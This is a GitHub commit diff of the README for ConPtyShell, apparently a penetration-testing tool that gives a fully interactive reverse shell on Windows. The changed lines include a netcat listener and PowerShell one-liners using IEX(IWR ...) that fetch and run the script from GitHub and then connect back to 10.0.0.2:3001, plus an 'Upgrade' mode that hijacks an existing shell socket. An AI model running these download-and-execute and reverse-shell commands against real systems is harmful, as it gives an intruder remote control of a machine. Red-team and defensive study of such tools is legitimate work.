Skip to content

Commit 212f87b

Browse files
authored
Update README.md
1 parent 1e02f2f commit 212f87b

1 file changed

Lines changed: 4 additions & 21 deletions

File tree

README.md

Lines changed: 4 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Then starts 2 Threads for Async I/O:<br>
1010
- one thread for reading from the socket and writing to Pseudo Console input pipe;<br>
1111
- the second thread for reading from the Pseudo Console output pipe and writing to the socket.</p>
1212

13-
ConPtyShell has also the magic button "Upgrade to fully interactive" for your reverse shell, just use it as your needs :)
13+
ConPtyShell has also the magic flag "Upgrade" that transform your current shell in a fully interactive one, use it if you don't want to use a new connection and want to hijack your current shell socket :)
1414

1515
If you want to know further information regarding ConPty you can find a great article [1] in the references section.
1616

@@ -40,12 +40,6 @@ stty raw -echo; (stty size; cat) | nc -lvnp 3001
4040
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
4141
```
4242

43-
or, if you upload the ps1:
44-
45-
```
46-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001
47-
```
48-
4943
#### Method 2
5044
If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a "Manual" way to get the reverse shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:
5145

@@ -63,19 +57,9 @@ Here you should use the values read from ```stty size``` command in the Paramete
6357
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
6458
```
6559

66-
or, if you upload the ps1:
67-
68-
```
69-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
70-
```
71-
7260
#### Method 3 - Upgrade
7361
You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:
7462

75-
**WARN1: Do not use Invoke-WebRequest if you load the assembly directly in powershell because ConPtyShell won't work properly when multiple sockets (and multiple \Device\Afd) are found in the current process**
76-
77-
**WARN2: Only sockets created with the flag WSA_FLAG_OVERLAPPED are compatible with the upgrade. Non overlapped sockets won't give a nice upgraded shell and it will have locks on I/O operations.**
78-
7963
##### Server Side:
8064
```
8165
stty size
@@ -88,10 +72,9 @@ stty raw -echo; fg[ENTER]
8872
Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols
8973

9074
```
91-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
75+
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
9276
```
9377

94-
9578
## Change Console Size
9679

9780
In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code:
@@ -110,9 +93,9 @@ Below you can watch 2 demos. The first gif using the **Method 1** with the compi
11093

11194
<img src="demo_1.gif">
11295

113-
#### Method 2 - Upgrade demo
96+
#### Method 3 - Upgrade demo
11497

115-
<img src="https://drive.google.com/uc?id=1PRuy_qgezsG0rQ7kjSYl6hxlJMLobTh8">
98+
<img src="demo_2.gif">
11699

117100
## References
118101

0 commit comments

Comments
 (0)